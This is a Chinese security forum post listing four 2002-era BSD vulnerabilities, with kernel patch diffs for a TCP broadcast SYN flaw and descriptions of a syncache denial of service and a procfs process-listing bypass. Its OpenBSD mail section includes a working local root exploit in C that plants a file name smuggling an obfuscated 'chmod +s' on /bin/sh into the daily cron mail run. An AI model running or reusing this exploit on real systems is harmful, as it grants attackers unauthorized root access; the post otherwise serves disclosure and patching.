论坛: UNIX系统 标题: 给大家一些BSD的漏洞!!! 复制本贴地址    
作者: hackern [hackern]    论坛用户   登录
BSD TCP/IP 广播地址连接检查漏洞:多个BSD操作系统的TCP/IP实现存在错误,包括FreeBSD和NetBSD,OpenBSD可能也有此问题。
           RFC 1122定义的TCP实现对于进入的SYN分段的地址是去向多播或广播地址的必需丢弃不作任何反应。受影响的BSD在实现上是基于链路层地址丢弃包而不是检查目标IP地址。

    解决方法: 厂商补丁下载地址
FreeBSD
-------
2002-2-25 (CVS revision 1.148) FreeBSD 5-CURRENT和2002-2-28 (revision 1.107.2.21) FreeBSD 4-STABLE修复了这个安全问题,请到厂商的主页下载:
http://www.freebsd.org/

NetBSD
------
NetBSD补丁 (已经测试): 


Index: src/sys/netinet/tcp_input.c 
=================================================================== 
RCS file: /export/netbsd/ncvs/syssrc/sys/netinet/tcp_input.c,v 
retrieving revision 1.108.4.10 
diff -u -r1.108.4.10 tcp_input.c 
--- src/sys/netinet/tcp_input.c 24 Jan 2002 22:44:21 -0000 1.108.4.10 
+++ src/sys/netinet/tcp_input.c 16 Mar 2002 23:14:14 -0000 
@@ -677,7 +677,8 @@ 
* Make sure destination address is not multicast. 
* Source address checked in ip_input(). 
*/ 
- if (IN_MULTICAST(ip->ip_dst.s_addr)) { 
+ if (IN_MULTICAST(ip->ip_dst.s_addr) || 
+ in_broadcast(ip->ip_dst, m->m_pkthdr.rcvif)) { 
/* XXX stat */ 
goto drop; 

@@ -2183,6 +2184,11 @@ 
*/ 
if (tiflags & TH_RST) 
goto drop; 

+ if (IN_MULTICAST(ip->ip_dst.s_addr) || 
+ in_broadcast(ip->ip_dst, m->m_pkthdr.rcvif)) 
+ goto drop; 


/* 
* need to recover version # field, which was overwritten on

OpenBSD
-------
OpenBSD补丁 (没有测试): 


Index: src/sys/netinet/tcp_input.c 
=================================================================== 
RCS file: /export/openbsd/ncvs/src/sys/netinet/tcp_input.c,v 
retrieving revision 1.109 
diff -u -r1.109 tcp_input.c 
--- src/sys/netinet/tcp_input.c 15 Mar 2002 18:19:52 -0000 1.109 
+++ src/sys/netinet/tcp_input.c 17 Mar 2002 01:08:35 -0000 
@@ -1080,8 +1080,6 @@ 

/* 
* RFC1122 4.2.3.10, p. 104: discard bcast/mcast SYN 
- * in_broadcast() should never return true on a received 
- * packet with M_BCAST not set. 
*/ 
if (m->m_flags & (M_BCAST|M_MCAST)) 
goto drop; 
@@ -1094,7 +1092,8 @@ 
break; 
#endif /* INET6 */ 
case AF_INET: 
- if (IN_MULTICAST(ip->ip_dst.s_addr)) 
+ if (IN_MULTICAST(ip->ip_dst.s_addr) || 
+ in_broadcast(ip->ip_dst, m->m_pkthdr.rcvif)) { 
goto drop; 
break; 

@@ -2139,7 +2138,8 @@ 
break; 
#endif /* INET6 */ 
case AF_INET: 
- if (IN_MULTICAST(ip->ip_dst.s_addr)) 
+ if (IN_MULTICAST(ip->ip_dst.s_addr) || 
+ in_broadcast(ip->ip_dst, m->m_pkthdr.rcvif)) 
goto drop; 

if (tiflags & TH_ACK) { 



OpenBSD 默认Crontab危及root权限漏洞:
OpenBSD系统中的/usr/bin/mail是一款简单的邮件用户代理程序,也可以用于批处理模式,如运行CRON任务发送邮件给管理员。
           OpenBSD系统中的/usr/bin/mail在处理转义序列(~!command)不正确,可导致攻击者以运行mail的用户权限执行任意命令。
           当运行在非交互模式时程序/usr/bin/mail接收转义序列,当攻击者把转义序列插入到作为输入的流中传递给MAIL命令时,此转义序列就会被mail命令解析,导致可以以运行mail命令的用户权限执行任意命令或者读/写任意文件到系统上。
           因为当运行CRON任务时/etc/daily脚本输出管道方式传送给/usr/bin/mail就可能导致用户获得ROOT权限。

    测试程序: 
/*
* (c) 2002 venglin@freebsd.lublin.pl
*
* OpenBSD 3.0 (before 08 Apr 2002)
* /etc/security + /usr/bin/mail local root exploit
*
* Run the exploit and wait for /etc/daily executed from crontab.
* /bin/sh will be suid root next day morning.
*
* Credit goes to urbanek@openbsd.cz for discovering vulnerability.
*
*/

#include <fcntl.h>

int main(void)
{
int fd;

chdir("/tmp");
fd = open("\n~!chmod +s `perl -e 'print \"\\057\\142\\151\\156\\057\\163\\150\"'`\n", O_CREAT|O_WRONLY, 04777);

if (fd)
close(fd);
}



FreeBSD 4.5 syncache / syncookies 拒绝服务漏洞:
FreeBSD是开放源代码的操作系统,其中FreeBSD 4.5支持了SYN cache (syncache)和SYN cookies (syncookies)机制,提供对FLOOD拒绝服务攻击的保护功能。当syncookie实现时syncache会触发两个漏洞,可以导致系统崩溃。
           1)当通过syncookie接收到SYN信息包时,它使用未初始化的指针来为新的套接口查找TCP选项,这个指针可以为NULL指针,这就可以导致系统崩溃。
           2)当SYN信息包到达一监听套接口的时候会建立一syncache条目,如果建立这个监听套接字的应用程序被杀掉或者重新启动,因此会使用一个不同的inpcb重新建立监听套接口,后来到达的ACK包或者重复的SYN包匹配已经存在的syncache条目时会导致引用旧的inpcb指针,根据指针内容不同,可以导致系统崩溃。



FreeBSD 进程隐蔽迂回漏洞:
FreeBSD是一款免费开放源代码的操作系统,在FreeBSD中, 通过系统调用设置kern.ps_showallprocs=0,也就意味着禁止正常用户查看不属于自己的正在运行的其它进程,但是攻击者可以通过从Procfs文件系统中获得进程列表信息,或者也有可能通过查看系统文件进程或者运用ps的特定命令选项去获取进程目录。

    测试方法:
Yuri A. Kabaenkov (sec@artofit.com)提供如下测试方法:

$ cd /proc; 
$ for i in `ls`;do cat $i/cmdline;echo;done 
/sbin/init-- 
/bin/sh/usr/local/bin/svscanboot 
svscan/service 
readproctitle 
supervisepop3 
superviselog 
supervisesend 
superviselog 
supervisesmtp 
superviselog 
supervisednscache 
superviselog 
supervisetinydns 
superviselog 
superviseaxfrdns 
superviselog 
mysqld 
/usr/local/bin/multilogt/var/log/qmail/pop3d 
/usr/local/bin/tinydns 
/usr/local/bin/tcpserver-D-H-R-x/home/vpopmail/etc/tcp.smtp.cdb-c25-u9002-g90010smtp/var/qmail/bin/qmail-smtpd 
qmail-send 
/usr/local/bin/multilogts1000000n20/var/log/qmail/send 
/usr/local/bin/tcpserver-D-R-H-l00110/var/qmail/bin/qmail-popupmyhost.com/home/vpopmail/bin/vchkpw/var/qmail/bin/qmail-pop3dMaildir









地主 发表时间: 10/06 19:20

回复: NetDemon [netdemon]   ADMIN   登录
old 了

B1层 发表时间: 10/07 15:46

论坛: UNIX系统

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号